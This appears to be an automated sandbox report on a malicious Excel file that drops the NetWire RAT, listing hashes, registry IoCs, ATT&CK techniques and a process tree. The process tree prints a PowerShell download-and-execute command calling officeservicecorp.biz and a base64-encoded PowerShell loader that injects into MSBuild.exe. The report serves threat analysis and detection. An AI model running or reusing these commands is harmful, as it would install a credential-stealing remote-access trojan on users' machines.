netwire | 612f288a358f6bfabc74937c10086107bede804413a5f6fd9e8f24f819669a0e

General

Target

WACKER - 000160847.xls
Size

1.1MB
MD5

9e2c88810138b0856bda192ae70d34c4
SHA1

579853532fadf08ef8ed7369d6d596af619bdf5a
SHA256

612f288a358f6bfabc74937c10086107bede804413a5f6fd9e8f24f819669a0e
SHA512

eb6d05e14c0fcf4747970f3c1d9f227837a3ff04b88c5ad802c643453ee4978e4e080575016f4210e934d27a967e80cbf7c29f0e375a810be5067c94b52f1318

Score

10^/10

rat botnet stealer netwire

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://officeservicecorp.biz/Lab.jpg

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2804 EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

EXCEL.EXEpowershell.exepowershell.exe

description	pid	process	target process
PID 2804 wrote to memory of 3840	2804	EXCEL.EXE	powershell.exe
PID 2804 wrote to memory of 3840	2804	EXCEL.EXE	powershell.exe
PID 3840 wrote to memory of 3692	3840	powershell.exe	powershell.exe
PID 3840 wrote to memory of 3692	3840	powershell.exe	powershell.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe
PID 3692 wrote to memory of 820	3692	powershell.exe	MSBuild.exe

Blacklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

18 3840 powershell.exe
19 3692 powershell.exe
25 3692 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3692 set thread context of 820 3692 powershell.exe MSBuild.exe

flow	pid	process
18	3840	powershell.exe
19	3692	powershell.exe
25	3692	powershell.exe

description	pid	process	target process
PID 3692 set thread context of 820	3692	powershell.exe	MSBuild.exe

NetWire RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/820-2-0x0000000000400000-0x0000000000430000-memory.dmp	netwire
behavioral2/memory/820-4-0x0000000000400000-0x0000000000430000-memory.dmp	netwire

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE
2804	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3840	2804	powershell.exe	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3840 powershell.exe
Token: SeDebugPrivilege 3692 powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3840 powershell.exe
3840 powershell.exe
3840 powershell.exe
3692 powershell.exe
3692 powershell.exe
3692 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe

pid	process
3840	powershell.exe
3840	powershell.exe
3840	powershell.exe
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\WACKER - 000160847.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:2804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')
2⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABQAHMAYgBiAFkAVgBsAGIAawAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2AGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AbwBmAGYAaQBjAGUAcwBlAHIAdgBpAGMAZQBjAG8AcgBwAC4AYgBpAHoALwByAG4AcAAuAHQAeAB0ACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAG8AZgBmAGkAYwBlAHMAZQByAHYAaQBjAGUAYwBvAHIAcAAuAGIAaQB6AC8AZgBpAGwAZQAuAHQAeAB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBDAC4ATQBdADoAOgBSACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgApAA==
3⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3692

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
PID:820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/820-2-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/820-3-0x000000000040242D-mapping.dmp

Download
memory/820-4-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3692-1-0x0000000000000000-mapping.dmp

Download
memory/3840-0-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads